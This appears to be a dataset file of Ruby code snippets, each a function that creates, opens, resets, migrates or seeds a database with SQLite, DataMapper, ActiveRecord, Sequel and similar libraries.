"def initialize_database(path, current_schema_version)\n\t\t\tLOGGER.debug \"[initialize_database] Let's initialize\"\n\t\t\tclose_database\n\t\t\tFile.delete(path) if File.file?(path) # Quickest way to wipe the schema in SQlite\n\t\t\tdb = open_database(path)\n\t\t\tdb.execute \"CREATE TABLE items(feed_name text, created_at datetime, updated_at datetime, fetched_at datetime, title text, creator text, read boolean, icon text, details text, url text);\"\n\t\t\tdb.execute \"CREATE TABLE fetch_histories(feed_name text PRIMARY KEY, fetched_at datetime, failure_count integer, last_failure_detail text);\"\n\t\t\tdb.execute \"CREATE TABLE schema_version(version integer);\"\n\t\t\tdb.execute \"INSERT INTO schema_version(version) VALUES (#{current_schema_version});\"\n\t\t\tdb\n\t\tend",
"def data_mapper_init db_type = @config.db_type, db_path = @config.db_path, logging = @options.debug # {{{\n # DataMapper::Logger.new( $stdout, :debug ) if( logging )\n\n db_connector = \"#{db_type}://#{Dir.pwd}/#{db_path}\"\n\n @log.message :info, \"We don't have any DataMapper init info, so we will create a new database at #{db_connector.to_s} (JokeMachine)\"\n DataMapper.setup( :default, db_connector )\n\n # DataMapper.auto_migrate! # wipe out existing data\n DataMapper.auto_upgrade! # try to preserve data and insert NULL's if new colums\n DataMapper.finalize\n end",
"def initialize config\n connect config\n create_table_if_not_exists!\n end",
"def db_setup\n path_to_db = File.join(File.dirname(__FILE__), \"temp_humidity.db\")\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend",
"def bootstrap\n sql = 'CREATE TABLE IF NOT EXISTS states(uuid VARCHAR(128) PRIMARY KEY,'\n sql << ' id INTEGER, name VARCHAR(128), deploy_id VARCHAR(128), timestamp INTEGER,'\n sql << ' missing INTEGER, state VARCHAR(128), hyperv VARCHAR(128))'\n\n @db.execute(sql)\n\n sql = 'CREATE TABLE IF NOT EXISTS settings(key VARCHAR(128) PRIMARY KEY,'\n sql << ' value VARCHAR(128))'\n\n @db.execute(sql)\n end",
"def initialize_database\n @db = SQLite3::Database.new @database_path\n File.chmod 0600, @database_path\n begin\n @db.execute 'drop table if exists host;'\n @db.execute <<-SQL\n create table host (\n id INT,\n name varchar(254)\n );\n SQL\n sync_host_table\n rescue\n File.unlink @database_path\n raise\n end\n end",
"def open\n create_database\n end",
"def setup\n @dbcount = 1\n @dbids = Array.new\n (0..@dbcount).each do |i|\n @dbids[i] = (0...8).map{('a'..'z').to_a[rand(26)]}.join\n create_or_connect_db(@dbids[i])\n end\n end",
"def init\n if !response_service.admin_view?\n render json: { popup: 'Must be an admin to initialize the database!!' }\n elsif Rails.env.production?\n render json: { popup: 'Can\\'t initialize the production database!!' }\n else\n Answer.delete_all\n Authentication.delete_all\n Expression.delete_all\n Finder.delete_all\n List.delete_all\n Rcpref.delete_all\n Recipe.delete_all\n ImageReference.delete_all\n Referent.delete_all\n Referment.delete_all\n ReferentRelation.delete_all\n ResultsCache.delete_all\n Scraper.clear_all\n Site.delete_all\n TagSelection.delete_all\n Tag.delete_all\n TagOwner.delete_all\n Tagging.delete_all\n TagsCache.delete_all\n Tagset.delete_all\n # User.delete_all\n # UserRelation.delete_all\n Vote.delete_all\n sql = 'DELETE FROM delayed_jobs;'\n ActiveRecord::Base.connection.execute(sql)\n render json: { popup: 'Database is initialized and ready for scraping.' }\n end\n end",
"def create_database(name)\n end",
"def install_initial_state\n db = kernel.resources.db\n db.default.submissions = []\n db.default.valid_submissions = []\n db.default.challengers = []\n db.default.people = (1..5).collect{|i| user_tuple(i, true) }\n db.default.challengers = (1..5).collect{|i| challenger_tuple(i) }\n end",
"def setup_config_db\n\t\tMongrel2::Config.db ||= Mongrel2::Config.in_memory_db\n\t\tMongrel2::Config.init_database\n\t\tMongrel2::Config.db.tables.collect {|t| Mongrel2::Config.db[t] }.each( &:truncate )\n\tend",
"def db; end",
"def db; end",
"def db_setup\n path_to_db = \"/tmp/temp_humidity.db\"\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend",
"def init_db\n db_filename = './coord_cache.db'\n puts \"Creating db file '#{db_filename}'\" unless File.exist?(db_filename)\n @coord_db = SQLite3::Database.new(db_filename)\n @coord_db.execute('CREATE TABLE IF NOT EXISTS coords ' \\\n '(id INTEGER PRIMARY KEY AUTOINCREMENT, ' \\\n ' osm_id BIGINT, ' \\\n ' lat REAL, ' \\\n ' lon REAL)')\nend",
"def create_default_databases()\n # Create subfolder for databases if needed.\n dir = \"./databases\"\n Dir.mkdir(dir) unless Dir.exist?(dir)\n # TODO: sanity check: if db-file exist, create copy first, make sure the\n # name of the copy makes it highly unlikely to match an already existing\n # file, e.g. current epoch.\n # TODO: Create DBs\nend",
"def create_database_schema!\n \n if file_format.class.const_defined?('Database')\n @orm_module = file_format.class.const_get('Database')\n else\n @orm_module = file_format.class.const_set('Database', Module.new)\n end\n\n create_request_table_and_class\n create_warning_table_and_class\n \n file_format.line_definitions.each do |name, definition|\n create_database_table(name, definition)\n create_activerecord_class(name, definition)\n end\n end",
"def create_module_database_files\n if not @table.empty?\n create_file(\"#{@module}.install\", \"<?php\\n\")\n append_template(\"#{@module}.install\", 'comments/file', @tokens)\n ['install', 'schema'].each do |hook|\n append_template(\"#{@module}.install\", \"incs/#{hook}\", @tokens)\n end\n \n create_file(\"#{@module}_db.inc\", \"<?php\\n\")\n append_template(\"#{@module}_db.inc\", 'comments/file_db', @tokens)\n append_template(\"#{@module}_db.inc\", \"incs/module_db\", @tokens)\n \n append_template(\"#{@module}.module\", \"hooks/init\", @tokens) unless @hooks.include('init')\n end\n end",
"def init_schema\n return unless in_memory_database?\n\n inform_using_in_memory unless silent?\n\n if silent? || quiet?\n load_schema_silently\n else\n load_schema\n end\n end",
"def setup\n begin\n create_campaign_table_if_not_exist\n seed_data\n rescue Exception => e\n raise \"Database setup failed with error #{e}\"\n ensure\n @connection.close\n end\n end",
"def test_DB_initialization\n @fdb = setup\n assert(@fdb.size > 0, \"Database entries not correctly read in\")\n end",
"def setup_database!\n mapper = Praxis::Application.instance.plugins[:praxis_mapper]\n Sequel.connect(mapper.config.repositories[\"default\"]['connection_settings'].dump) do |db|\n db.create_table! :people do\n primary_key :id\n string :name\n end\n end\nend",
"def initialize_database(database_path = './secrets.db')\n DataMapper.finalize\n\n database_path = File.expand_path database_path\n\n @dm = DataMapper.setup(:default, \"sqlite:///#{database_path}\")\n\n return if File.exist? database_path\n\n SQLite3::Database.new(database_path)\n DataMapper.auto_migrate!\n end",
"def initialize\n @client = SQLite3::Database.new 'haunt.db' # Edit that to change loc\n @dbs = []\n @client.execute(\n \"SELECT name FROM sqlite_master WHERE type = \\\"table\\\"\") do |row|\n @dbs << row[0]\n end\n end",
"def initial_setup\n CORE.each { |c| c.auto_migrate! }\n end",
"def setup_db\n @database.create_table :merchants do\n primary_key :id\n String :name\n end\n\n @database.create_table :cards do\n primary_key :id\n String :token, :unique => true, :null => false\n Integer :limit, :null => false\n Integer :balance, :null => false\n Integer :velocity_limit\n Integer :velocity_interval\n end\n\n @database.create_table :txns do\n primary_key :id\n Integer :card_id, :null => false\n Integer :merchant_id, :null => false\n Integer :amount, :null => false\n DateTime :created_at, :null => false\n end\n\n @database.create_table :locks do\n String :id, :unique => true, :null => false\n DateTime :created_at\n end\n\n return true\n end",
"def setup_dir_structure\n # insure that database dir exists so that a new db can be created if necessary\n if $config[\"database\"][\"adapter\"] == \"sqlite3\"\n FileUtils.mkpath(File.dirname($config[\"database\"][\"database\"]))\n end\n # ensure that log dirs exists and last $config[\"clamscan_log\"] is cleared before use\n FileUtils.mkpath(File.dirname($config[\"run_log\"]))\n FileUtils.mkpath(File.dirname($config[\"clamscan_log\"]))\nend",
"def init!(master = nil)\n\t\traise \"Already exists!\" if exists?\n\n\t\tFileUtils.mkdir_p(path)\n\t\tFileUtils.chmod(0700, path)\n\t\traise \"Could not create data directory\" unless File.exists? path\n\n\t\tif(master.nil?) #initialization of a blank instance\n\t\t\t#This creates all the DB files\n\t\t\tDatabass.pg_ctl(path, :init)\n\n\t\t\t#Moves the default config files aside so that they can be regenerated on demand\n\t\t\tFileUtils.mv(conf_file, conf_file('default'))\n\t\t\tFileUtils.mv(hba_file, hba_file('default'))\n\t\telse #initialization from a master\n\t\t\tDatabass.pg_basebackup(path, master)\n\n\t\t\tgenerate_recovery_config!(master)\n\t\tend\n\n\t\ttrue\n\tend",
"def initialize(config)\n run_hook(:before_initialize, config)\n\n @config = config\n raise ::SORM::NotConfigured, \"You should configure database path\" unless has_config?\n\n @db = SDBM.open config[:database]\n\n run_hook(:after_initialize, db)\n end",
"def setup\n clear_db\n\n @url = Wgit::Url.new(Wgit::DatabaseDefaultData.url)\n @doc = Wgit::Document.new(Wgit::DatabaseDefaultData.doc)\n\n records = 3\n\n @urls = []\n records.times do\n @urls << Wgit::Url.new(Wgit::DatabaseDefaultData.url)\n end\n\n @docs = []\n records.times do\n @docs << Wgit::Document.new(Wgit::DatabaseDefaultData.doc)\n end\n end",
"def initialize(file_name='persistance.db')\n require 'gdbm'\n # Creates database file if it doesn't exist\n @file_name = file_name\n unless File.directory?('db')\n Dir.mkdir('db/')\n end\n @db = GDBM.new('db/' + file_name)\n @wallet_db = GDBM.new('db/wallets_' + file_name)\n end",
"def initialize_database\n config = YAML::load(IO.read(Antfarm::Helpers.defaults_file))\n # Database setup based on adapter specified\n if config && config[ANTFARM_ENV] && config[ANTFARM_ENV].has_key?('adapter')\n if config[ANTFARM_ENV]['adapter'] == 'sqlite3'\n config[ANTFARM_ENV]['database'] = Antfarm::Helpers.db_file(ANTFARM_ENV)\n elsif config[ANTFARM_ENV]['adapter'] == 'postgres'\n config[ANTFARM_ENV]['database'] = ANTFARM_ENV\n else\n # If adapter specified isn't one of sqlite3 or postgresql,\n # default to SQLite3 database configuration.\n config = nil\n end\n else\n # If the current environment configuration doesn't specify a\n # database adapter, default to SQLite3 database configuration.\n config = nil\n end\n # Default to SQLite3 database configuration\n config ||= { ANTFARM_ENV => { 'adapter' => 'sqlite3', 'database' => Antfarm::Helpers.db_file(ANTFARM_ENV) } }\n if config[ANTFARM_ENV]['adapter'] == 'postgres'\n DataMapper.setup(:default, \"postgres:///#{config[ANTFARM_ENV]['database']}\")\n else\n DataMapper.setup(:default, \"sqlite3://#{config[ANTFARM_ENV]['database']}\")\n end\n end",
"def create_database!(name=nil)\n db = if name\n self.server.database!(db_name_with_prefix(name))\n else\n self.database!\n end\n create_rotation_filter(db)\n if self.respond_to?(:design_doc)\n design_doc.sync!(db)\n # or maybe this?:\n #self.design_docs.each do |design|\n # design.migrate(to_db)\n #end\n end\n return db\n end",
"def initialize(dbName, resetTables=false)\n @crawlerTable = \"crawlerTable\"\n @untappdTable = \"untappdTable\"\n\n @db = SQLite3::Database.new dbName\n resetCrawlerTable if resetTables\n resetUntappdTable if resetTables\n end",
"def reset_db\n \n end",
"def init # should eventually take configuration options (hash || block)\n if ActiveRecord::Base.connection.tables.include? 'aux_codes'\n aux_codes_yml = File.join 'config', 'aux_codes.yml'\n if File.file? aux_codes_yml\n load_file aux_codes_yml\n create_classes!\n end\n end\n end",
"def initialize(root, name)\n @sdbm = ::SDBM.new(\"#{root}/#{name}\")\n end",
"def init_db\n @file.syswrite @current_page.to_bytes\n end",
"def setup_config_db( dbspec=':memory:' )\n\t\tMongrel2::Config.configure( :configdb => dbspec ) unless\n\t\t\tMongrel2::Config.db.uri[ %r{sqlite:/(.*)}, 1 ] == dbspec\n\t\tMongrel2::Config.init_database\n\t\tMongrel2::Config.db.tables.collect {|t| Mongrel2::Config.db[t] }.each( &:truncate )\n\tend",
"def init_database(client)\n return unless client.is_a? Mysql2::Client\n\n client.query('drop database if exists barcrawldb;')\n\n client.query('CREATE DATABASE IF NOT EXISTS barcrawldb;')\n client.query('USE barcrawldb;')\nend",
"def InitializeXMLdb\n end",
"def create\n begin\n puts \"Creating...\"\n ActiveRecord::Schema.define do\n #create_table :test_relations do |table|\n # table.column :test_case_id, :integer\n # table.column :test_collection_id, :integer\n #end\n create_table :defaults do |table|\n table.column :configuration_id, :integer\n end\n\n\n # Project configuration\n create_table :configurations do |table|\n table.column :name, :string\n table.column :server, :string\n table.column :devkey, :string\n table.column :smtp_host, :string\n table.column :smtp_recipient, :string\n table.column :project, :string # aka prefix\n table.column :vm_user, :string\n table.column :vm_password, :string\n table.column :ssh_key_path, :string\n table.column :ssh_key_pw, :string\n table.column :base_path, :string\n table.column :output_path, :string\n table.column :public_options, :string\n end\n\n\n # A test collection is a collection of test, defined by project, testplan and build\n create_table :test_collections do |table|\n table.column :project, :string\n table.column :project_id, :string\n table.column :plan, :string\n table.column :plan_id, :string\n #table.column :build, :string\n #table.column :testrun_id, :string\n #table.column :test_cases, :string\n end\n\n create_table :test_cases do |table|\n table.column :urgency, :string\n table.column :name, :string\n table.column :file, :string\n table.column :external_id, :string\n table.column :platform_id, :string\n table.column :test_collection_id, :string\n\n end\n\n end\n\n rescue ActiveRecord::StatementInvalid\n # Table already created\n puts \"Setup already done. Destroy tables first before creating\"\n end\n\n\n end",
"def bootstrap\n sql = 'CREATE TABLE IF NOT EXISTS vms(uuid VARCHAR(128) PRIMARY KEY,'\n sql << ' id INTEGER, name VARCHAR(128), deploy_id VARCHAR(128),'\n sql << ' state VARCHAR(128), type VARCHAR(128),'\n sql << ' monitor_info VARCHAR(1024))'\n execute_retry(sql)\n\n sql = 'CREATE TABLE IF NOT EXISTS hosts(id INTEGER PRIMARY KEY,'\n sql << ' name VARCHAR(128), ccr_ref VARCHAR(128), timestamp INTEGER)'\n execute_retry(sql)\n\n sql = 'CREATE TABLE IF NOT EXISTS one_vms(id INTEGER PRIMARY KEY,'\n sql << ' uuid VARCHAR(128))'\n execute_retry(sql)\n\n sql = 'CREATE TABLE IF NOT EXISTS timestamp(ts INTEGER PRIMARY KEY)'\n execute_retry(sql)\n\n sql = 'CREATE TABLE IF NOT EXISTS timestamp_one_vms(ts INTEGER PRIMARY KEY)'\n execute_retry(sql)\n end",
"def handle_database_creation\n database = Sequel.sqlite('./actions_db.db') # memory database, requires sqlite3\n database.create_table? :\"#{@username}_follows\" do\n primary_key :id\n String :user_id\n String :username\n Time :follow_time\n end\n database.create_table? :\"#{@username}_likes\" do\n primary_key :id\n String :media_id\n String :user_id\n String :shortcode\n Time :like_time\n end\n @table_follows = database[:\"#{@username}_follows\"]\n @table_likes = database[:\"#{@username}_likes\"]\n end",
"def create_default_config_files\n create_default_database_yml\n end",
"def setup!\n configuration = RfmAdaptor::Configuration.new(:database)\n database = configuration.__send__(self.database_name)\n raise \"Database: #{self.database_name} configuration file not exists.\" if database.blank?\n raise \"Database: #{self.database_name} environment[#{self.env}] not exists.\" if database[self.env].blank?\n self.attributes = database[self.env]\n self.setup_state = true\n end",
"def spawn_tables\n\t# pseudo-migration / schema\n\tif !FeedEntry.table_exists?\n\t\tprint \"Creating feed entry table...\\n\"\n\t\tActiveRecord::Base.connection.create_table(:feed_entries) do |t|\n\t\t\tt.column :name, :string\n\t\t\tt.column :content, :string\n\t\t\tt.column :url, :string\n\t\t\tt.column :guid, :string\n\t\t\tt.column :published_at, :datetime\n\t\t\tt.column :feed_id, :integer\n\t\tend\n\tend\n\tif !Feed.table_exists?\n\t\tprint \"Creating feed table...\\n\"\n\t\tActiveRecord::Base.connection.create_table(:feeds) do |t|\n\t\t\tt.column :url, :string\n\t\tend\n\tend\n\tif !Blacklist.table_exists?\n\t\tprint \"Creating blacklist table...\\n\"\n\t\tActiveRecord::Base.connection.create_table(:blacklists) do |t|\n\t\t\tt.column :word, :string\n\t\tend\n\tend\nend",
"def load_schema\n config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))\n\n db_adapter = ENV['DB']\n\n # no db passed, try one of these fine config-free DBs before bombing.\n db_adapter ||= 'mysql'\n\n if db_adapter.nil?\n raise \"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3.\"\n end\n\n ActiveRecord::Base.establish_connection(config[db_adapter])\n #Fixtures.create_fixtures(File.dirname(__FILE__), ActiveRecord::Base.connection.tables)\n\n\n load(File.dirname(__FILE__) + \"/schema.rb\")\n require File.dirname(__FILE__) + '/../rails/init.rb'\nend",
"def init\n # Validate and parse the flags\n OptionParser.new do |o|\n o.on('-D NAME', '--db-name NAME') { |n| $DB_NAME = n }\n o.on('-U USER', '--db-user USER') { |u| $DB_USER = u }\n o.on('-P PASSWORD', '--db-password PASSWORD') { |p| $DB_PASSWORD = p }\n o.on('-u TABLE', '--user-table TABLE') { |t| $DB_ACC_TABLE = t }\n o.on('-t TABLE', '--domain-table TABLE') { |t| $DB_DOM_TABLE = t }\n o.on('-a TABLE', '--alias-table TABLE') { |t| $DB_VIRT_TABLE = t }\n o.on('-i ID', '--default-id ID') { |i| $DEFAULT_ID = i }\n o.on('-d DIR', '--dir DIR') { |d| $install_dir = d }\n o.on('-E', '--keep-ext') { |b| $keep_extensions = b }\n o.on('-F', '--force-install') { |b| $force_install = b }\n o.on('-c', '--just-config') { |b| $just_gen_conf = b; }\n o.on('-r', '--install-requirements') { |b| $install_req = b; }\n o.on('-n', '--no-config') { |b| $dont_gen_conf = true } # b assingment didn't work!? (b was false)\n o.on('-s', '--simulate') { |b| $simulate = b }\n o.on('-h', '--help') { usage }\n o.parse!\n end\n\n # We can't do anything if we should both skip the config file and just generate the config file\n if $just_gen_conf and $dont_gen_conf\n puts \"Conflicting flags: -n/--no-config and -c/--just-config\".red\n puts \"Since we can't both generate just the config and skip the generation of it, the script will now quit!\".red\n exit(65)\n end\n\n puts \"RUNNING IN SIMULATION MODE!\".pink if $simulate\n\n # If this isn't a simulation ...\n unless $simulate\n # ... check if the script is running as root, if it isn't: warn the user!\n puts \"WARNING!!!\\nThis script should be run with root privileges!\\n\".pink unless is_root?\n end\n\n # Add a / to the end of the install path if it's missing\n $install_dir << '/' unless $install_dir[-1,1] == '/'\n\n # Add quotes if the ID is a name\n $DEFAULT_ID = \"'#{$DEFAULT_ID}'\" unless is_numeric? $DEFAULT_ID\nend",
"def setup_data_dir\n changes = []\n\n case distro\n\n when RHEL\n unless pg_data_dir == pg_default_data_dir\n changes = rput( 'etc/sysconfig/pgsql/postgresql', user: :root )\n end\n\n sudo_if( \"[ ! -d '#{pg_data_dir}/base' ]\" ) do\n sudo <<-SH\n mkdir -p #{pg_data_dir}\n chown postgres:postgres #{pg_data_dir}\n chmod 700 #{pg_data_dir}\n SH\n pg_initdb\n end\n\n when Debian\n unless pg_data_dir == pg_default_data_dir\n sudo <<-SH\n if [ ! -d '#{pg_data_dir}/base' ]; then\n mkdir -p #{pg_data_dir}\n chown postgres:postgres #{pg_data_dir}\n chmod 700 #{pg_data_dir}\n mv #{pg_default_data_dir}/* #{pg_data_dir}/\n fi\n SH\n end\n else\n raise ContextError, \"Distro #{distro.class.name} not supported\"\n end\n\n changes\n end",
"def init_data\n Bot::DB[my_name] ||= {}\n end",
"def init_data\n Bot::DB[my_name] ||= {}\n end",
"def init_schema\n ActiveRecord::Schema.define do\n create_table :cars, :force => true do |t|\n t.column :brand, :string\n t.column :model, :string\n end\n\n create_table :passengers, :force => true do |t|\n t.column :car_id, :int\n t.column :name, :string\n end\n end\n\n Car.create!(\n :brand => \"Mazda\",\n :model => \"Protege\"\n )\nend",
"def initialize\n\t\t# Define the database connection to the dentist_book.db SQLite database.\n\t\t@dbConnection = SQLite3::Database.new( \"./../db/dentist_book.db\" )\n\tend",
"def create_default_database_yml\n db_class = RailsInstaller::Database.dbs[config['database']]\n db_class.database_yml(self)\n end",
"def open\n @db.open(@db_path)\n\n #Create meta variables if they are absent\n unless @db.m_get(\"n\")\n @db.m_put(\"n\", \"0\") #Total node count\n @db.m_put(\"m\", \"0\") #Total edge count\n @db.m_put(\"node#{Config::DEFAULT_TYPE}\", \n \"0\") #Node count for default type\n @db.m_put(\"edge#{Config::DEFAULT_TYPE}\", \n Marshal.dump({:directed => false, :count => 0})) #Edge count for default type\n end\n\n end",
"def create_db\n SQLite3::Database.new \"flatiron.db\"\nend",
"def setup_db\n return unless File.exist?(\"#{Jets.root}/config/database.yml\")\n\n db_configs = Jets.application.config.database\n # DatabaseTasks.database_configuration for db:create db:migrate tasks\n # Documented in DatabaseTasks that this is the right way to set it when\n # using ActiveRecord rake tasks outside of Rails.\n ActiveRecord::Tasks::DatabaseTasks.database_configuration = db_configs\n\n current_config = db_configs[Jets.env]\n if current_config.blank?\n abort(\"ERROR: config/database.yml exists but no environment section configured for #{Jets.env}\")\n end\n # Using ActiveRecord rake tasks outside of Rails, so we need to set up the\n # db connection ourselves\n ActiveRecord::Base.establish_connection(current_config)\n end",
"def initialize(_o = {})\n #If settings file does not exist then this is not a valid mogilefs backup\n check_settings_file('settings.yml not found in path. This must not be a backup profile. Cannot list')\n\n connect_sqlite\n migrate_sqlite\n\n #Now that database is all setup load the model class\n require('bakfile')\n end",
"def initialize_db\n init\n (1...15).each do |i|\n puts i\n f = File.read(\"data/#{i}.json\")\n h = JSON.parse(f)\n Organization.transaction do\n h['results'].each do |result|\n org = Organization.find_by_name(result['organization']['name'])\n if org.nil?\n org = create_organization(result['organization'])\n end\n student = create_student(result['student'])\n project = create_project(result)\n org.projects << project\n org.students << student\n student.project = project\n tags = result['organization']['proposal_tags']\n tags.each do |tag|\n t = Tag.create(:name=>tag, :tag_type=>'proposal')\n project.tags << t\n end\n end\n end\n end\nend",
"def test_initialize_database\n hook = ForemanHook::HostRename.new\n hook.log_level = Logger::WARN\n hook.database_path = File.dirname(__FILE__) + '/test.db'\n hook.initialize_database\n File.unlink hook.database_path\n end",
"def create_database_directory\n FileUtils.mkdir(database_directory)\n end",
"def openDBRanked()\n\t\t@rankedDB \t\t= SQLite3::Database.new File.expand_path('../../../Data/ranked.db', File.dirname(__FILE__))\n\t\t@rankedTimeDB \t= SQLite3::Database.new File.expand_path('../../../Data/rankedTime.db', File.dirname(__FILE__))\n\tend",
"def get_db\n # we want to check a couple levels 2011-09-28 \n unless @db\n unless File.exists? @file\n 3.times do |i|\n @file = \"../#{@file}\"\n break if File.exists? @file\n end\n end\n end\n @db ||= DB.new @file\n end",
"def create_db(revision)\n Database.create(self, revision)\n end",
"def initialize\n #Opens a SQLite 3 database file\n @db = SQLite3::Database.new File.join(Dir.pwd,\"lib\",\"app\",\"TentsAndTrees\",\"Game\",\"Core\",\"DB\",\"db.sqlite\")\n end",
"def initialize\n self.db = YAML::Store.new(DB_FILE)\n end",
"def create_database\n if dockerized?\n puts \"Running inside of a docker container\"\n puts \"No systemd support, skipping mysql configuration\"\n return\n end\n\n Runner.activate_service(\"mysql\") if database_local?\n\n env_variables = {\n \"SKIP_MIGRATION\" => \"yes\",\n \"PORTUS_PASSWORD\" => @portus_password\n }\n puts \"Creating Portus' database\"\n Runner.bundler_exec(\"rake\", [\"db:create\"], env_variables)\n\n puts \"Running database migrations\"\n Runner.bundler_exec(\"rake\", [\"db:migrate\"], env_variables)\n\n puts \"Seeding database\"\n begin\n Runner.bundler_exec(\"rake\", [\"db:seed\"], env_variables)\n rescue\n puts \"Something went wrong while seedeing the database\"\n puts \"Are you sure the database is empty?\"\n puts \"Ignoring error\"\n end\n FileUtils.chown_R(\"wwwrun\", \"www\", \"/srv/Portus/tmp\")\n end",
"def seed_database\n puts \"default_account_name: #{Cadenero.default_account_name}\"\n puts \"default_account_subdomain: #{Cadenero.default_account_subdomain}\"\n puts \"default_user_email: #{Cadenero.default_user_email}\"\n puts \"default_user_password: #{Cadenero.default_user_password}\"\n\n load \"#{Rails.root}/config/initializers/cadenero.rb\"\n unless options[\"no-migrate\"]\n puts \"Creating default cadenero account and owner\"\n Cadenero::Engine.load_seed\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def try_databases\n db = Database.new(application_root, config, settings)\n db.configure\n end",
"def create_structure\n # Create variables table\n @db.execute(\"create table if not exists variables(key varchar(255) PRIMARY KEY, value TEXT);\");\n\n # Create quotes table\n @db.execute(\"create table if not exists quotes (id INTEGER PRIMARY KEY, quote TEXT);\")\n\n # Remember NSFW links\n @db.execute(\"create table if not exists nsfwlink_status (id INTEGER PRIMARY KEY, user VARCHAR(15), nsfw TINYINT DEFAULT 0);\")\n\n # Allow polls\n @poll_db.execute(\"create table if not exists polls (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, user VARCHAR(30), question VARCHAR(255), date TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL)\")\n\n # Voting alternatives for polls\n @poll_db.execute(\"create table if not exists answers (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, poll_id INTEGER REFERENCES polls(id), number INTEGER, answer VARCHAR(255));\")\n\n # Votes for polls\n @poll_db.execute(\"create table if not exists votes (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, usermask VARCHAR(255), poll_id INTEGER REFERENCES polls(id), answer_id INTEGER REFERENCES answers(id));\")\n\n\n if @debug == true\n puts \"Should have created tables by now\"\n end\n end",
"def create_database_yml\n print_title('Creating database configuration')\n\n @database = Database.create_config(self)\n logger.info(\"Database initialized #{@database}\")\n end",
"def create_tables\n self.conn.exec(\n File.read(\"./lib/creating_tables.txt\")\n \n )\n end",
"def create\n puts \"Creating tumblr\"\n ActiveRecord::Base.connection.execute(File.open(\"db/schema.sql\").read)\n end",
"def install_on(db, options = {})\n execute_ddl(db, 'BEGIN', options)\n all_objects_in_order.each{|o| \n sql = o.to_create_sql(db)\n execute_ddl(db, sql, options) unless sql.nil? or sql.empty?\n }\n execute_ddl(db, 'COMMIT', options)\n db\n end",
"def set_db\n @db = Db.find(params[:id])\n end",
"def setup_db\n #Supress annoying Schema creation output when tests run\n old_stdout = $stdout\n $stdout = StringIO.new\n \n ActiveRecord::Schema.define(:version => 1) do\n create_table :people do |t|\n t.column :username, :string\n t.column :hair_color, :string\n end\n \n create_table :coffee_mugs do |t|\n t.column :person_id, :integer\n end\n \n create_table :roles do |t|\n t.column :name, :string\n end\n \n create_table :people_roles do |t|\n t.column :role_id, :integer\n t.column :person_id, :integer\n end\n \n create_table :notebooks do |t|\n t.column :title, :string\n t.column :owner_id, :integer\n t.column :ghost_writer_id, :integer\n end\n \n create_table :update_permissions do |t|\n t.column :updater_id, :integer\n t.column :notebook_id, :integer\n end\n \n create_table :pages do |t|\n t.column :number, :integer\n t.column :notebook_id, :integer\n end\n \n create_table :margin_notes do |t|\n t.column :content, :string\n t.column :page_id, :integer\n end\n \n create_table :coffee_stains do |t|\n t.column :opacity, :integer\n t.column :page_id, :integer\n end\n \n create_table :words do |t|\n t.column :text, :string\n t.column :page_id, :integer\n end\n end\n \n #Re-enable stdout\n $stdout = old_stdout\nend",
"def init\n ActiveRecord::Schema.define do\n create_table :students, force: true do |t|\n t.string :name\n t.belongs_to :organization\n end\n\n create_table :organizations, force: true do |t|\n t.string :name\n end\n\n create_table :projects, force: true do |t|\n t.string :title\n t.string :subcategory\n t.belongs_to :organization\n t.belongs_to :student\n end\n\n create_table :tags, force: true do |t|\n t.string :name\n t.string :tag_type\n t.belongs_to :project\n end\n end\nend",
"def setup_database\n ActiveRecord::Base.remove_connection\n\n ActiveRecord::Base.establish_connection(\n adapter: 'sqlite3',\n database: ':memory:'\n )\n\n ActiveRecord::Migration.suppress_messages do\n load File.expand_path('db/schema.rb')\n end\nend",
"def create\n @db.create_table?(:authors) do\n primary_key :id\n String :username, unique: true\n String :password, fixed: true, size: 60\n String :email, unique: true\n String :display_name, null: true\n String :bio, text: true\n String :role\n TrueClass :active, default: false\n DateTime :created_at\n end\n\n @db.create_table?(:posts) do\n primary_key :id\n String :title\n String :content, text: true\n String :slug, unique: true\n String :status\n foreign_key :author_id, :authors\n DateTime :published_on\n DateTime :last_updated\n end\n\n @db.create_table? :categories do\n primary_key :id\n String :name, unique: true\n end\n\n @db.create_join_table(post_id: :posts, category_id: :categories)\n\n @db.create_table?(:pages) do\n primary_key :id\n String :title\n String :content, text: true\n String :slug, unique: true\n end\n\n # @db.create_table?(:subscribers) do\n # primary_key :id\n # String :status\n # # TODO: Finish this one\n # end\n\n # @db.create_table?(:subscriptions) do\n # primary_key :id\n # TrueClass :active, default: false\n # String :host, unique: true\n # String :label\n # end\n end",
"def slapd_init_db_index\n slapd_init_db_path_matcher[1]\n end",
"def init\n\n unless Dir.exists?(\"#{@home}/.polaris\")\n Dir.mkdir(\"#{@home}/.polaris\")\n end\n\n puts \"Download data...\"\n ja_text = open('http://www.lr.pi.titech.ac.jp/%7Etakamura/pubs/pn_ja.dic').read.encode('utf-8','sjis')\n en_text = open('http://www.lr.pi.titech.ac.jp/%7Etakamura/pubs/pn_en.dic').read.encode('utf-8','sjis')\n puts \"Done\"\n\n if File.exists?(\"#{@home}/.polaris/features.sqlite3\")\n FileUtils.rm(\"#{@home}/.polaris/features.sqlite3\")\n end\n\n db = SQLite3::Database.new(\"#{@home}/.polaris/features.sqlite3\")\n db.execute(\"CREATE TABLE models (word TEXT ,value REAL);\")\n\n puts \"Seed Japanese data...\"\n ja_text.split(\"\\n\").each do |line|\n item = line.split(':')\n word = item[0]\n value = item[3]\n insert_value(db,word,value)\n end\n puts \"Done\"\n\n puts \"Seed English data...\"\n en_text.split(\"\\n\").each do |line|\n item = line.split(':')\n word = item[0]\n value = item[2]\n insert_value(db,word,value)\n end\n puts \"Done\"\n\n end",
